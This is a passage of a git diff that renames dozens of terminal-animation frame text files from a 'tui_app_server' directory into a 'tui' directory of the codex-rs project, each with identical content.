rename to codex-rs/tui/frames/hbars/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_28.txt b/codex-rs/tui/frames/hbars/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_28.txt rename to codex-rs/tui/frames/hbars/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_29.txt b/codex-rs/tui/frames/hbars/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_29.txt rename to codex-rs/tui/frames/hbars/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_3.txt b/codex-rs/tui/frames/hbars/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_3.txt rename to codex-rs/tui/frames/hbars/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_30.txt b/codex-rs/tui/frames/hbars/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_30.txt rename to codex-rs/tui/frames/hbars/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_31.txt b/codex-rs/tui/frames/hbars/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_31.txt rename to codex-rs/tui/frames/hbars/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_32.txt b/codex-rs/tui/frames/hbars/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_32.txt rename to codex-rs/tui/frames/hbars/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_33.txt b/codex-rs/tui/frames/hbars/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_33.txt rename to codex-rs/tui/frames/hbars/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_34.txt b/codex-rs/tui/frames/hbars/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_34.txt rename to codex-rs/tui/frames/hbars/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_35.txt b/codex-rs/tui/frames/hbars/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_35.txt rename to codex-rs/tui/frames/hbars/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_36.txt b/codex-rs/tui/frames/hbars/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_36.txt rename to codex-rs/tui/frames/hbars/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_4.txt b/codex-rs/tui/frames/hbars/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_4.txt rename to codex-rs/tui/frames/hbars/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_5.txt b/codex-rs/tui/frames/hbars/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_5.txt rename to codex-rs/tui/frames/hbars/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_6.txt b/codex-rs/tui/frames/hbars/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_6.txt rename to codex-rs/tui/frames/hbars/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_7.txt b/codex-rs/tui/frames/hbars/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_7.txt rename to codex-rs/tui/frames/hbars/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_8.txt b/codex-rs/tui/frames/hbars/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_8.txt rename to codex-rs/tui/frames/hbars/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_9.txt b/codex-rs/tui/frames/hbars/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_9.txt rename to codex-rs/tui/frames/hbars/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_1.txt b/codex-rs/tui/frames/openai/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_1.txt rename to codex-rs/tui/frames/openai/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_10.txt b/codex-rs/tui/frames/openai/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_10.txt rename to codex-rs/tui/frames/openai/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_11.txt b/codex-rs/tui/frames/openai/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_11.txt rename to codex-rs/tui/frames/openai/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_12.txt b/codex-rs/tui/frames/openai/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_12.txt rename to codex-rs/tui/frames/openai/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_13.txt b/codex-rs/tui/frames/openai/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_13.txt rename to codex-rs/tui/frames/openai/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_14.txt b/codex-rs/tui/frames/openai/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_14.txt rename to codex-rs/tui/frames/openai/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_15.txt b/codex-rs/tui/frames/openai/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_15.txt rename to codex-rs/tui/frames/openai/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_16.txt b/codex-rs/tui/frames/openai/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_16.txt rename to codex-rs/tui/frames/openai/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_17.txt b/codex-rs/tui/frames/openai/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_17.txt rename to codex-rs/tui/frames/openai/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_18.txt b/codex-rs/tui/frames/openai/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_18.txt rename to codex-rs/tui/frames/openai/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_19.txt b/codex-rs/tui/frames/openai/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_19.txt rename to codex-rs/tui/frames/openai/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_2.txt b/codex-rs/tui/frames/openai/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_2.txt rename to codex-rs/tui/frames/openai/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_20.txt b/codex-rs/tui/frames/openai/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_20.txt rename to codex-rs/tui/frames/openai/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_21.txt b/codex-rs/tui/frames/openai/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_21.txt rename to codex-rs/tui/frames/openai/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_22.txt b/codex-rs/tui/frames/openai/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_22.txt rename to codex-rs/tui/frames/openai/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_23.txt b/codex-rs/tui/frames/openai/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_23.txt rename to codex-rs/tui/frames/openai/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_24.txt b/codex-rs/tui/frames/openai/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_24.txt rename to codex-rs/tui/frames/openai/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_25.txt b/codex-rs/tui/frames/openai/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_25.txt rename to codex-rs/tui/frames/openai/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_26.txt b/codex-rs/tui/frames/openai/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_26.txt rename to codex-rs/tui/frames/openai/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_27.txt b/codex-rs/tui/frames/openai/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_27.txt rename to codex-rs/tui/frames/openai/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_28.txt b/codex-rs/tui/frames/openai/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_28.txt rename to codex-rs/tui/frames/openai/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_29.txt b/codex-rs/tui/frames/openai/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_29.txt rename to codex-rs/tui/frames/openai/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_3.txt b/codex-rs/tui/frames/openai/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_3.txt rename to codex-rs/tui/frames/openai/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_30.txt b/codex-rs/tui/frames/openai/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_30.txt rename to codex-rs/tui/frames/openai/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_31.txt b/codex-rs/tui/frames/openai/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_31.txt rename to codex-rs/tui/frames/openai/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_32.txt b/codex-rs/tui/frames/openai/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_32.txt rename to codex-rs/tui/frames/openai/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_33.txt b/codex-rs/tui/frames/openai/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_33.txt rename to codex-rs/tui/frames/openai/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_34.txt b/codex-rs/tui/frames/openai/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_34.txt rename to codex-rs/tui/frames/openai/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_35.txt b/codex-rs/tui/frames/openai/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_35.txt rename to codex-rs/tui/frames/openai/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_36.txt b/codex-rs/tui/frames/openai/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_36.txt rename to codex-rs/tui/frames/openai/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_4.txt b/codex-rs/tui/frames/openai/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_4.txt rename to codex-rs/tui/frames/openai/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_5.txt b/codex-rs/tui/frames/openai/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_5.txt rename to codex-rs/tui/frames/openai/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_6.txt b/codex-rs/tui/frames/openai/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_6.txt rename to codex-rs/tui/frames/openai/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_7.txt b/codex-rs/tui/frames/openai/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_7.txt rename to codex-rs/tui/frames/openai/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_8.txt b/codex-rs/tui/frames/openai/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_8.txt rename to codex-rs/tui/frames/openai/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/openai/frame_9.txt b/codex-rs/tui/frames/openai/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/openai/frame_9.txt rename to codex-rs/tui/frames/openai/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_1.txt b/codex-rs/tui/frames/shapes/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_1.txt rename to codex-rs/tui/frames/shapes/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_10.txt b/codex-rs/tui/frames/shapes/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_10.txt rename to codex-rs/tui/frames/shapes/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_11.txt b/codex-rs/tui/frames/shapes/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_11.txt rename to codex-rs/tui/frames/shapes/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_12.txt b/codex-rs/tui/frames/shapes/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_12.txt rename to codex-rs/tui/frames/shapes/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_13.txt b/codex-rs/tui/frames/shapes/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_13.txt rename to codex-rs/tui/frames/shapes/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_14.txt b/codex-rs/tui/frames/shapes/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_14.txt rename to codex-rs/tui/frames/shapes/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_15.txt b/codex-rs/tui/frames/shapes/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_15.txt rename to codex-rs/tui/frames/shapes/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_16.txt b/codex-rs/tui/frames/shapes/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_16.txt rename to codex-rs/tui/frames/shapes/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_17.txt b/codex-rs/tui/frames/shapes/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_17.txt rename to codex-rs/tui/frames/shapes/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_18.txt b/codex-rs/tui/frames/shapes/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_18.txt rename to codex-rs/tui/frames/shapes/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_19.txt b/codex-rs/tui/frames/shapes/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_19.txt rename to codex-rs/tui/frames/shapes/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_2.txt b/codex-rs/tui/frames/shapes/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_2.txt rename to codex-rs/tui/frames/shapes/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_20.txt b/codex-rs/tui/frames/shapes/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_20.txt rename to codex-rs/tui/frames/shapes/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_21.txt b/codex-rs/tui/frames/shapes/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_21.txt rename to codex-rs/tui/frames/shapes/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_22.txt b/codex-rs/tui/frames/shapes/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_22.txt rename to codex-rs/tui/frames/shapes/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_23.txt b/codex-rs/tui/frames/shapes/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_23.txt rename to codex-rs/tui/frames/shapes/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_24.txt b/codex-rs/tui/frames/shapes/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_24.txt rename to codex-rs/tui/frames/shapes/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_25.txt b/codex-rs/tui/frames/shapes/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_25.txt rename to codex-rs/tui/frames/shapes/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_26.txt b/codex-rs/tui/frames/shapes/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_26.txt rename to codex-rs/tui/frames/shapes/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_27.txt b/codex-rs/tui/frames/shapes/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_27.txt rename to codex-rs/tui/frames/shapes/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_28.txt b/codex-rs/tui/frames/shapes/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_28.txt rename to codex-rs/tui/frames/shapes/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_29.txt b/codex-rs/tui/frames/shapes/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_29.txt rename to codex-rs/tui/frames/shapes/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_3.txt b/codex-rs/tui/frames/shapes/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_3.txt rename to codex-rs/tui/frames/shapes/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_30.txt b/codex-rs/tui/frames/shapes/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_30.txt rename to codex-rs/tui/frames/shapes/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_31.txt b/codex-rs/tui/frames/shapes/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_31.txt rename to codex-rs/tui/frames/shapes/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_32.txt b/codex-rs/tui/frames/shapes/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_32.txt rename to codex-rs/tui/frames/shapes/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_33.txt b/codex-rs/tui/frames/shapes/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_33.txt rename to codex-rs/tui/frames/shapes/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_34.txt b/codex-rs/tui/frames/shapes/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_34.txt rename to codex-rs/tui/frames/shapes/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_35.txt b/codex-rs/tui/frames/shapes/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_35.txt rename to codex-rs/tui/frames/shapes/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_36.txt b/codex-rs/tui/frames/shapes/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_36.txt rename to codex-rs/tui/frames/shapes/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_4.txt b/codex-rs/tui/frames/shapes/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_4.txt rename to codex-rs/tui/frames/shapes/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_5.txt b/codex-rs/tui/frames/shapes/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_5.txt rename to codex-rs/tui/frames/shapes/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_6.txt b/codex-rs/tui/frames/shapes/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_6.txt rename to codex-rs/tui/frames/shapes/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_7.txt b/codex-rs/tui/frames/shapes/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_7.txt rename to codex-rs/tui/frames/shapes/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_8.txt b/codex-rs/tui/frames/shapes/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_8.txt rename to codex-rs/tui/frames/shapes/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/shapes/frame_9.txt b/codex-rs/tui/frames/shapes/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/shapes/frame_9.txt rename to codex-rs/tui/frames/shapes/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_1.txt b/codex-rs/tui/frames/slug/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_1.txt rename to codex-rs/tui/frames/slug/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_10.txt b/codex-rs/tui/frames/slug/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_10.txt rename to codex-rs/tui/frames/slug/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_11.txt b/codex-rs/tui/frames/slug/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_11.txt rename to codex-rs/tui/frames/slug/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_12.txt b/codex-rs/tui/frames/slug/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_12.txt rename to codex-rs/tui/frames/slug/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_13.txt b/codex-rs/tui/frames/slug/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_13.txt rename to codex-rs/tui/frames/slug/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_14.txt b/codex-rs/tui/frames/slug/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_14.txt rename to codex-rs/tui/frames/slug/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_15.txt b/codex-rs/tui/frames/slug/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_15.txt rename to codex-rs/tui/frames/slug/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_16.txt b/codex-rs/tui/frames/slug/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_16.txt rename to codex-rs/tui/frames/slug/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_17.txt b/codex-rs/tui/frames/slug/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_17.txt rename to codex-rs/tui/frames/slug/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_18.txt b/codex-rs/tui/frames/slug/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_18.txt rename to codex-rs/tui/frames/slug/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_19.txt b/codex-rs/tui/frames/slug/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_19.txt rename to codex-rs/tui/frames/slug/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_2.txt b/codex-rs/tui/frames/slug/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_2.txt rename to codex-rs/tui/frames/slug/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_20.txt b/codex-rs/tui/frames/slug/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_20.txt rename to codex-rs/tui/frames/slug/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_21.txt b/codex-rs/tui/frames/slug/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_21.txt rename to codex-rs/tui/frames/slug/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_22.txt b/codex-rs/tui/frames/slug/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_22.txt rename to codex-rs/tui/frames/slug/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_23.txt b/codex-rs/tui/frames/slug/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_23.txt rename to codex-rs/tui/frames/slug/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_24.txt b/codex-rs/tui/frames/slug/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_24.txt rename to codex-rs/tui/frames/slug/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_25.txt b/codex-rs/tui/frames/slug/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_25.txt rename to codex-rs/tui/frames/slug/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_26.txt b/codex-rs/tui/frames/slug/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_26.txt rename to codex-rs/tui/frames/slug/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_27.txt b/codex-rs/tui/frames/slug/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_27.txt rename to codex-rs/tui/frames/slug/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_28.txt b/codex-rs/tui/frames/slug/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_28.txt rename to codex-rs/tui/frames/slug/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_29.txt b/codex-rs/tui/frames/slug/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_29.txt rename to codex-rs/tui/frames/slug/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_3.txt b/codex-rs/tui/frames/slug/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_3.txt rename to codex-rs/tui/frames/slug/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_30.txt b/codex-rs/tui/frames/slug/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_30.txt rename to codex-rs/tui/frames/slug/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_31.txt b/codex-rs/tui/frames/slug/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_31.txt rename to codex-rs/tui/frames/slug/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_32.txt b/codex-rs/tui/frames/slug/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_32.txt rename to codex-rs/tui/frames/slug/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_33.txt b/codex-rs/tui/frames/slug/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_33.txt rename to codex-rs/tui/frames/slug/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_34.txt b/codex-rs/tui/frames/slug/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_34.txt rename to codex-rs/tui/frames/slug/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_35.txt b/codex-rs/tui/frames/slug/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_35.txt rename to codex-rs/tui/frames/slug/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_36.txt b/codex-rs/tui/frames/slug/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_36.txt rename to codex-rs/tui/frames/slug/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_4.txt b/codex-rs/tui/frames/slug/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_4.txt rename to codex-rs/tui/frames/slug/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_5.txt b/codex-rs/tui/frames/slug/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_5.txt rename to codex-rs/tui/frames/slug/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_6.txt b/codex-rs/tui/frames/slug/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_6.txt rename to codex-rs/tui/frames/slug/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_7.txt b/codex-rs/tui/frames/slug/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_7.txt rename to codex-rs/tui/frames/slug/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_8.txt b/codex-rs/tui/frames/slug/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_8.txt rename to codex-rs/tui/frames/slug/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/slug/frame_9.txt b/codex-rs/tui/frames/slug/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/slug/frame_9.txt rename to codex-rs/tui/frames/slug/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_1.txt b/codex-rs/tui/frames/vbars/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_1.txt rename to codex-rs/tui/frames/vbars/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_10.txt b/codex-rs/tui/frames/vbars/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_10.txt rename to codex-rs/tui/frames/vbars/frame_10.txt diff --git 